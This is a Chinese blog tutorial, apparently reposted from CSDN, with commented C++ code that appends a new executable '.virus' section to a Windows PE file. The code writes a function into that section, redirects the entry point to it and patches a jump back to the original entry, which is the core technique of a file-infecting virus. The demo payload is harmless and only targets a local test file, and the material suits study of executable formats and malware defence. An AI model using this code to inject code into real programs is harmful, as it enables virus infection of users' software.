基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码

我们进行信息安全编程的时候,经常需要向exe文件插入自己的源代码,

我们如何在代码中实现呢。请见代码与注释讲解

#include <iostream.h>
#include <windows.h>
#include <stdio.h>

//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//*******以下为程序代码*******
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void VirusCode()
{
	_asm 
	{
		mov eax , 5
	}

	return;
}



//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//*******主函数*******
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void main()
{
//*******************************************************************
//*******首先得到程序代码起始地址,结束地址,代码长度*******
//*******************************************************************
	/////////////////////////////////////////////////////////////////
	//	*******变量说明*******
	//	**dwFunBegAddr	:程序函数的开始地址
	//	**dwFunEndAddr	:程序函数的结束地址
	//	**dwFunCodeLen	:程序代码长度
	//	**dwJmpOff		:程序函数jmp区到真正入口的偏移
	//	**pMove			:临时的指针变量
	/////////////////////////////////////////////////////////////////
	DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
	PBYTE pMove = NULL;
	
	//	*******首先指向程序函数的jmp指令*******
	pMove = (PBYTE)VirusCode;
	
	cout << "函数的jmp地址为:" << (PVOID)pMove << endl;
	//	*******定位到jmp后面的偏移处*******
	pMove ++;

	//	*******把偏移赋值给变量*******
	dwJmpOff = *((PDWORD)pMove);

	//	*******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******
	dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;

	cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;
	cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;
	
	//	*******以下通过搜索得到函数的结束地址*******
	//	*******首先把函数的入口地址赋给变量*******
	pMove = (PBYTE)dwFunBegAddr;

	//	*******向后搜索,直到结尾*******
	while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
	{
		pMove ++;
	}

	//	*******此时pMove指向ret前一条指令*******
	//	*******pMove向后移5个字节,为程序代码的jmp指令占位*******
	pMove +=5;
	dwFunEndAddr = (DWORD)pMove;


	cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;

	//	*******结束地址减去起始地址,得到代码长度*******
	dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;

	cout << "总代码长度为:" << (int)dwFunCodeLen << endl;

//*******************************************************************
//*******以下为在exe文件中添加程序代码*******
//*******************************************************************
	HANDLE hFile , hMapFile;
	LPVOID pMapOfFile = NULL;
	
//*******************************************************************
//*******检测文件合法性*******
//*******************************************************************
	//	*******打开文件*******
	hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | 
			FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

	if (INVALID_HANDLE_VALUE == hFile)
	{
		cout << "CreateFile Error!" << endl;
		return;
	}

	//	*******创建文件映射*******
	hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);

	if (!hMapFile)
	{
		cout << "CreateFileMapping Error!" << endl;
		goto CLOSEFILEHANDLE;
	}

	//	*******把文件映射到内存中*******
	pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);

	if (!pMapOfFile)
	{
		cout << "MapViewOfFile Error!" << endl;
		goto CLOSEMAPHANDLE;
	}

	IMAGE_DOS_HEADER *pDosHeader;

	//	********检测DOS文件头*******
	pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;

	if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		cout << "Check Dos Header Error!" << endl;
		goto FreeViewOfMap;
	}

	IMAGE_NT_HEADERS *pNtHeader;

	//	*******检测NT文件头*******
	pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);

	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
	{
		cout << "Check NT Header Error!" << endl;
		goto FreeViewOfMap;
	}
//***************************************************************
//*******准备工作*******
//***************************************************************
	BOOL bCopy;

	//	*******首先把要添加程序代码的文件复制一份*******
	bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
	if (!bCopy)
	{
		cout << "CopyFile Error!" << endl;
	}

	HANDLE hNewFile;

	//	*******打开刚刚复制的文件*******
	hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
				| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

	if (!hNewFile)
	{
		cout << "CreateFile Error!" << endl;
		goto FreeViewOfMap;
	}

	HGLOBAL pNewFileHeader;

	//	*******为新文件的文件头申请一块内存,用于修改文件头信息*******
	pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);

	if (!pNewFileHeader)
	{
		cout << "GlobalAlloc Error!" << endl;
		goto CloseNewFileHandle;
	}

	//	*******用原文件头填充这块内存*******
	RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);

	IMAGE_NT_HEADERS *pNewFileNtHeader;

	pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);

//////////////////////////////////////////////////////////////////////////
//*******此时的指针信息*******
//*******pMapOfFile			:	原映射文件的开始
//*******pDosHeader			:	原映射文件的DOS头也就是文件开始,只不过类型不一样
//*******pNTHeader			:	原映射文件的NT头
//*******pNewFileHeader		:	新文件的开始
//*******pNewFileNtHeader	:	新文件的NT头
//////////////////////////////////////////////////////////////////////////
//****************************************************************
//*******修改新文件的节表信息*******
//****************************************************************
	int nSecNum;
	nSecNum = pNtHeader->FileHeader.NumberOfSections;
	IMAGE_SECTION_HEADER *pLastSec , *pNewSec;

	//	*******定位到原文件中的最后一个节表*******
	pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
				+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));

	//	*******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
	pNewSec = pLastSec + 1;

	//*******修改新增节表的相关信息*******
	//*****节表总数加1*****
	pNewFileNtHeader->FileHeader.NumberOfSections ++;

	//*****修改新节的文件偏移*****
	pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;

	//*****修改新节的文件尺寸*****
	int nAlignNum;

	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
	{
		nAlignNum++;
	}
	pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;

	//*****修改所有代码长度按内存页对齐后的大小*****
	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
	{
		nAlignNum ++;
	}
	pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
						pNewFileNtHeader->OptionalHeader.SectionAlignment;

	//*****修改文件内存映像尺寸*****
	pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
						pNewFileNtHeader->OptionalHeader.SectionAlignment;

	//*****修改新节的内存偏移量*****
	//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
	nAlignNum = pLastSec->Misc.VirtualSize / 
				pNewFileNtHeader->OptionalHeader.SectionAlignment;
	if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
	{
		nAlignNum ++;
	}
	pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
								pLastSec->VirtualAddress;

	//*****修改新节的内存尺寸*****
	pNewSec->Misc.VirtualSize = dwFunCodeLen;

	//*****更新新节属性*****
	pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
					IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

	//*****更新节名*****
	strcpy((char*)pNewSec->Name , ".virus");

	//*****更新入口地址*****

	pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;

	BOOL bWrite;
	DWORD dwHeaderSize , dwWriten;
	dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
	bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);

	//*****向文件中添加程序代码*****
	DWORD dwSetFileP;

	//*****定位到新文件中新节开始处*****
	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
	if (!dwSetFileP)
	{
		cout << "SetFilePointer Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*****写入程序代码*****
	bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
	if (!bWrite)
	{
		cout << "Write Virus Code Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*****定位到文件尾部*****
	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + 
					pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
	if (!dwSetFileP)
	{
		cout << "SetFilePointer End Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*****设定文件结束*****
	if (!SetEndOfFile(hNewFile))
	{
		cout << "SetEndOfFile Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*******修正原入口地址*******
	PBYTE pModifyAddr;
	pModifyAddr = (PBYTE)pNewSec->VirtualAddress;

	pModifyAddr	+= dwFunCodeLen;
	//printf("%x\n" , pModifyAddr);

	int nSub;    //跳转的距离
	nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;

	DWORD dwModifyLoca;
	dwModifyLoca = pNewSec->PointerToRawData;
	dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
	//dwModifyLoca ++;

	//	*****定位到程序代码最后的五个字节处*****
	dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
	if (!dwSetFileP)
	{
		cout << "Modify Address SetFilePointer Error!" << endl;
		goto CloseNewFileHandle;
	}
	//*****修正jmp指令*****
	BYTE bJmp;
	bJmp = 0XE9;
	bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
	if (!bWrite)
	{
		cout << "Modify Address WriteFile Error!" << endl;
		goto CloseNewFileHandle;
	}
	//*****修正跳转地址*****
	bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
	if (!bWrite)
	{
		cout << "Modify Address WriteFile Error!" << endl;
		goto CloseNewFileHandle;
	}


//****************************************************************
//*******扫尾工作*******
//****************************************************************
CloseNewFileHandle:
	CloseHandle(hNewFile);
FreeViewOfMap:
	UnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
	CloseHandle(hMapFile);
CLOSEFILEHANDLE:
	CloseHandle(hFile);
}


 


原文链接: http://blog.csdn.net/yincheng01/article/details/7214472

你可能感兴趣的:(基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码)